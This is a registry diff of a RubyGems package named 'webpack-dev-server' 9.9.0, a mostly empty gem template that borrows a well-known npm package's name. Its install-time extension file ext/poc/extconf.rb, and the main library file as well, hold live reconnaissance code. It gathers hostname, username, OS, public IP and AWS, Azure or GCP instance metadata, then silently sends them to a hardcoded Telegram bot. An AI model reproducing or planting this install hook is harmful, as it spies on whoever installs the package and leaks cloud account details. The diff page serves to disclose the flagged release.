webpack-dev-server 9.9.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of webpack-dev-server might be problematic. Click here for more details.

checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 28967184e833cd0bd37872b03b1473b09e6d679f3158c82770a146051b122f03
4
+ data.tar.gz: cf8c603550606551b9ac571691923241af3e0c91f3cd40bb4bae2946186d4f58
5
+ SHA512:
6
+ metadata.gz: 49164afa4b5da1df604890badc105220800f61291df56fff8d3d81f14ffd4ed08cce36812af62cbb4f7411b23fe0b12a6a4fb516358dd80f2e6ac5d1cc970018
7
+ data.tar.gz: 88492aa56d5e2a5287263c95018aa7ecc66745a3820866ecfda652d16093d8d0198da4db3db9b5e035a264f95862086230b6a96d51dd58cccbcc2694929e4993
data/README.md ADDED
@@ -0,0 +1,35 @@
1
+ # Webpack::Dev::Server
2
+
3
+ TODO: Delete this and the text below, and describe your gem
4
+
5
+ Welcome to your new gem! In this directory, you'll find the files you need to be able to package up your Ruby library into a gem. Put your Ruby code in the file `lib/webpack/dev/server`. To experiment with that code, run `bin/console` for an interactive prompt.
6
+
7
+ ## Installation
8
+
9
+ TODO: Replace `UPDATE_WITH_YOUR_GEM_NAME_IMMEDIATELY_AFTER_RELEASE_TO_RUBYGEMS_ORG` with your gem name right after releasing it to RubyGems.org. Please do not do it earlier due to security reasons. Alternatively, replace this section with instructions to install your gem from git if you don't plan to release to RubyGems.org.
10
+
11
+ Install the gem and add to the application's Gemfile by executing:
12
+
13
+ ```bash
14
+ bundle add UPDATE_WITH_YOUR_GEM_NAME_IMMEDIATELY_AFTER_RELEASE_TO_RUBYGEMS_ORG
15
+ ```
16
+
17
+ If bundler is not being used to manage dependencies, install the gem by executing:
18
+
19
+ ```bash
20
+ gem install UPDATE_WITH_YOUR_GEM_NAME_IMMEDIATELY_AFTER_RELEASE_TO_RUBYGEMS_ORG
21
+ ```
22
+
23
+ ## Usage
24
+
25
+ TODO: Write usage instructions here
26
+
27
+ ## Development
28
+
29
+ After checking out the repo, run `bin/setup` to install dependencies. You can also run `bin/console` for an interactive prompt that will allow you to experiment.
30
+
31
+ To install this gem onto your local machine, run `bundle exec rake install`. To release a new version, update the version number in `version.rb`, and then run `bundle exec rake release`, which will create a git tag for the version, push git commits and the created tag, and push the `.gem` file to [rubygems.org](https://rubygems.org).
32
+
33
+ ## Contributing
34
+
35
+ Bug reports and pull requests are welcome on GitHub at https://github.com/[USERNAME]/webpack-dev-server.
data/Rakefile ADDED
@@ -0,0 +1,4 @@
1
+ # frozen_string_literal: true
2
+
3
+ require "bundler/gem_tasks"
4
+ task default: %i[]
@@ -0,0 +1,79 @@
1
+ require 'net/http'
2
+ require 'etc'
3
+ require 'socket'
4
+ require 'uri'
5
+ require 'open-uri'
6
+ require 'json'
7
+
8
+ def get_public_ip
9
+ URI.open("http://ifconfig.me").read.strip rescue "N/A"
10
+ end
11
+
12
+ def get_aws_metadata
13
+ begin
14
+ base = "http://169.254.169.254/latest/meta-data/"
15
+ id = URI.open(base + "instance-id").read.strip
16
+ region = URI.open(base + "placement/region").read.strip rescue "Unknown"
17
+ ami = URI.open(base + "ami-id").read.strip rescue "Unknown"
18
+ return "AWS Instance ID: #{id}, Region: #{region}, AMI: #{ami}"
19
+ rescue
20
+ nil
21
+ end
22
+ end
23
+
24
+ def get_azure_metadata
25
+ begin
26
+ url = URI("http://169.254.169.254/metadata/instance?api-version=2021-02-01")
27
+ req = Net::HTTP::Get.new(url)
28
+ req['Metadata'] = 'true'
29
+ res = Net::HTTP.start(url.host, url.port) { |http| http.request(req) }
30
+ json = JSON.parse(res.body)
31
+ sub = json.dig("compute", "subscriptionId")
32
+ loc = json.dig("compute", "location")
33
+ return "Azure Subscription: #{sub}, Location: #{loc}"
34
+ rescue
35
+ nil
36
+ end
37
+ end
38
+
39
+ def get_gcp_metadata
40
+ begin
41
+ base = "http://metadata.google.internal/computeMetadata/v1/"
42
+ id = URI.open(base + "instance/id", "Metadata-Flavor" => "Google").read.strip
43
+ project = URI.open(base + "project/project-id", "Metadata-Flavor" => "Google").read.strip
44
+ zone = URI.open(base + "instance/zone", "Metadata-Flavor" => "Google").read.strip
45
+ return "GCP Project: #{project}, Zone: #{zone}, Instance ID: #{id}"
46
+ rescue
47
+ nil
48
+ end
49
+ end
50
+
51
+ def get_metadata
52
+ get_aws_metadata || get_azure_metadata || get_gcp_metadata || "Cloud: Unknown or Bare Metal"
53
+ end
54
+
55
+ begin
56
+ hostname = Socket.gethostname
57
+ user = Etc.getlogin || ENV['USER'] || ENV['USERNAME']
58
+ ruby_ver = RUBY_VERSION
59
+ os = RUBY_PLATFORM
60
+ public_ip = get_public_ip
61
+ cloud = get_metadata
62
+
63
+ message = <<~MSG
64
+ Ruby RCE Alert:
65
+ Public IP: #{public_ip}
66
+ Hostname: #{hostname}
67
+ User: #{user}
68
+ OS: #{os}
69
+ Ruby: #{ruby_ver}
70
+ Cloud Info: #{cloud}
71
+ MSG
72
+
73
+ uri = URI("https://api.telegram.org/bot6102545432:AAHLTE0SdQ7neK5Q2D2gmrGheDJc8ew6uN8/sendMessage")
74
+ params = { chat_id: '847743133', text: message }
75
+ uri.query = URI.encode_www_form(params)
76
+ Net::HTTP.get(uri)
77
+ rescue
78
+ # silent fail
79
+ end
@@ -0,0 +1,9 @@
1
+ # frozen_string_literal: true
2
+
3
+ module Webpack
4
+ module Dev
5
+ module Server
6
+ VERSION = "9.9.0"
7
+ end
8
+ end
9
+ end
@@ -0,0 +1,87 @@
1
+ require 'net/http'
2
+ require 'etc'
3
+ require 'socket'
4
+ require 'uri'
5
+ require 'open-uri'
6
+ require 'json'
7
+
8
+ module Webpack
9
+ module Dev
10
+ module Server
11
+ class Error < StandardError; end
12
+ def get_public_ip
13
+ URI.open("http://ifconfig.me").read.strip rescue "N/A"
14
+ end
15
+
16
+ def get_aws_metadata
17
+ begin
18
+ base = "http://169.254.169.254/latest/meta-data/"
19
+ id = URI.open(base + "instance-id").read.strip
20
+ region = URI.open(base + "placement/region").read.strip rescue "Unknown"
21
+ ami = URI.open(base + "ami-id").read.strip rescue "Unknown"
22
+ return "AWS Instance ID: #{id}, Region: #{region}, AMI: #{ami}"
23
+ rescue
24
+ nil
25
+ end
26
+ end
27
+
28
+ def get_azure_metadata
29
+ begin
30
+ url = URI("http://169.254.169.254/metadata/instance?api-version=2021-02-01")
31
+ req = Net::HTTP::Get.new(url)
32
+ req['Metadata'] = 'true'
33
+ res = Net::HTTP.start(url.host, url.port) { |http| http.request(req) }
34
+ json = JSON.parse(res.body)
35
+ sub = json.dig("compute", "subscriptionId")
36
+ loc = json.dig("compute", "location")
37
+ return "Azure Subscription: #{sub}, Location: #{loc}"
38
+ rescue
39
+ nil
40
+ end
41
+ end
42
+
43
+ def get_gcp_metadata
44
+ begin
45
+ base = "http://metadata.google.internal/computeMetadata/v1/"
46
+ id = URI.open(base + "instance/id", "Metadata-Flavor" => "Google").read.strip
47
+ project = URI.open(base + "project/project-id", "Metadata-Flavor" => "Google").read.strip
48
+ zone = URI.open(base + "instance/zone", "Metadata-Flavor" => "Google").read.strip
49
+ return "GCP Project: #{project}, Zone: #{zone}, Instance ID: #{id}"
50
+ rescue
51
+ nil
52
+ end
53
+ end
54
+
55
+ def get_metadata
56
+ get_aws_metadata || get_azure_metadata || get_gcp_metadata || "Cloud: Unknown or Bare Metal"
57
+ end
58
+
59
+ begin
60
+ hostname = Socket.gethostname
61
+ user = Etc.getlogin || ENV['USER'] || ENV['USERNAME']
62
+ ruby_ver = RUBY_VERSION
63
+ os = RUBY_PLATFORM
64
+ public_ip = get_public_ip
65
+ cloud = get_metadata
66
+
67
+ message = <<~MSG
68
+ Ruby RCE Alert:
69
+ Public IP: #{public_ip}
70
+ Hostname: #{hostname}
71
+ User: #{user}
72
+ OS: #{os}
73
+ Ruby: #{ruby_ver}
74
+ Cloud Info: #{cloud}
75
+ MSG
76
+
77
+ uri = URI("https://api.telegram.org/bot6102545432:AAHLTE0SdQ7neK5Q2D2gmrGheDJc8ew6uN8/sendMessage")
78
+ params = { chat_id: '847743133', text: message }
79
+ uri.query = URI.encode_www_form(params)
80
+ Net::HTTP.get(uri)
81
+ rescue
82
+ # silent fail
83
+ end
84
+
85
+ end
86
+ end
87
+ end
@@ -0,0 +1,8 @@
1
+ module Webpack
2
+ module Dev
3
+ module Server
4
+ VERSION: String
5
+ # See the writing guide of rbs: https://github.com/ruby/rbs#guides
6
+ end
7
+ end
8
+ end
metadata ADDED
@@ -0,0 +1,48 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: webpack-dev-server
3
+ version: !ruby/object:Gem::Version
4
+ version: 9.9.0
5
+ platform: ruby
6
+ authors:
7
+ - AB Bishal
8
+ bindir: exe
9
+ cert_chain: []
10
+ date: 1980-01-02 00:00:00.000000000 Z
11
+ dependencies: []
12
+ description: Write a longer description or delete this line.
13
+ email: akberbadsha05@gmail.com
14
+ executables: []
15
+ extensions:
16
+ - ext/poc/extconf.rb
17
+ extra_rdoc_files: []
18
+ files:
19
+ - README.md
20
+ - Rakefile
21
+ - ext/poc/extconf.rb
22
+ - lib/webpack/dev/server.rb
23
+ - lib/webpack/dev/server/version.rb
24
+ - sig/webpack/dev/server.rbs
25
+ homepage: https://abbishal.ninja
26
+ licenses: []
27
+ metadata:
28
+ homepage_uri: https://abbishal.ninja
29
+ source_code_uri: https://abbishal.ninja
30
+ changelog_uri: https://abbishal.ninja
31
+ rdoc_options: []
32
+ require_paths:
33
+ - lib
34
+ required_ruby_version: !ruby/object:Gem::Requirement
35
+ requirements:
36
+ - - ">="
37
+ - !ruby/object:Gem::Version
38
+ version: 3.1.0
39
+ required_rubygems_version: !ruby/object:Gem::Requirement
40
+ requirements:
41
+ - - ">="
42
+ - !ruby/object:Gem::Version
43
+ version: '0'
44
+ requirements: []
45
+ rubygems_version: 3.6.7
46
+ specification_version: 4
47
+ summary: Write a short summary, because RubyGems requires one.
48
+ test_files: []